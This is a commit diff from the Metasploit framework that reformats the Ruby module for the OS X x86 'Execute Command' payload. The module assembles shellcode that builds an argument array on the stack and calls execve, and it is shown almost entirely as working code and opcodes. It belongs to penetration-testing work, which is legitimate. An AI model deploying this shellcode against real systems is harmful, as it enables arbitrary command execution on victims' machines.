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metasploit-framework
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Format fix 

Just to make this more pleasing to the eyes
unstable
sinn3r 2013-07-18 13:36:31 -05:00
parent cd2e352971
commit b64d0429ac
1 changed files with 30 additions and 24 deletions
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58
modules/payloads/singles/osx/x86/exec.rb
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@ -26,15 +26,17 @@ module Metasploit3
super(merge_info(info,
'Name' => 'OS X Execute Command',
'Description' => 'Execute an arbitrary command',
'Author' => [ 'snagg <snagg[at]openssl.it>',
'Author' =>
[
'snagg <snagg[at]openssl.it>',
'argp <argp[at]census-labs.com>',
'joev <jvennix[at]rapid7.com>' ],
'joev <jvennix[at]rapid7.com>'
],
'License' => BSD_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86
))
# Register exec options
register_options(
[
OptString.new('CMD', [ true, "The command string to execute" ]),
@ -53,39 +55,43 @@ module Metasploit3
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
payload = ''
# Stuff an array of arg strings into memory
payload = "\x31\xc0" + # xor eax, eax (eax => 0)
Rex::Arch::X86.call(arg_str.length) + # jmp over CMD_STR, stores &CMD_STR on stack
arg_str +
"\x5B" # pop ebx (ebx => &CMD_STR)
payload << "\x31\xc0" # xor eax, eax (eax => 0)
payload << Rex::Arch::X86.call(arg_str.length) # jmp over CMD_STR, stores &CMD_STR on stack
payload << arg_str
payload << "\x5B" # pop ebx (ebx => &CMD_STR)
# now EBX contains &cmd_parts[0], the exe path
if cmd_parts.length > 1
# Build an array of pointers to arguments
payload += "\x89\xD9" + # mov ecx, ebx
"\x50" + # push eax; null byte (end of array)
"\x89\xe2" # mov edx, esp (EDX points to the end-of-array null byte)
payload << "\x89\xD9" # mov ecx, ebx
payload << "\x50" # push eax; null byte (end of array)
payload << "\x89\xe2" # mov edx, esp (EDX points to the end-of-array null byte)
cmd_parts[1..-1].each_with_index do |arg, idx|
l = [cmd_parts[idx].length+1].pack('V')
# can probably save space here by doing the loop in ASM
# for each arg, push its current memory location on to the stack
payload += "\x81\xC1" + # add ecx, ...
[cmd_parts[idx].length+1].pack('V') +
# (cmd_parts[idx] is the prev arg)
"\x51" # push ecx (&cmd_parts[idx])
end
payload += "\x53" + # push ebx (&cmd_parts[0])
"\x89\xe1" + # mov ecx, esp (ptr to ptr to first str)
"\x52" + # push edx
"\x51" # push ecx
else
# pass NULL args array to execve() call
payload += "\x50\x50" # push eax, push eax
payload << "\x81\xC1" # add ecx, ...
payload << l # (cmd_parts[idx] is the prev arg)
payload << "\x51" # push ecx (&cmd_parts[idx])
end
payload += "\x53" + # push ebx
"\xb0\x3b" + # mov al, 0x3b (execve)
"\x50" + # push eax
"\xcd\x80" # int 0x80 (triggers execve syscall)
payload << "\x53" # push ebx (&cmd_parts[0])
payload << "\x89\xe1" # mov ecx, esp (ptr to ptr to first str)
payload << "\x52" # push edx
payload << "\x51" # push ecx
else
# pass NULL args array to execve() call
payload << "\x50\x50" # push eax, push eax
end
payload << "\x53" # push ebx
payload << "\xb0\x3b" # mov al, 0x3b (execve)
payload << "\x50" # push eax
payload << "\xcd\x80" # int 0x80 (triggers execve syscall)
payload
end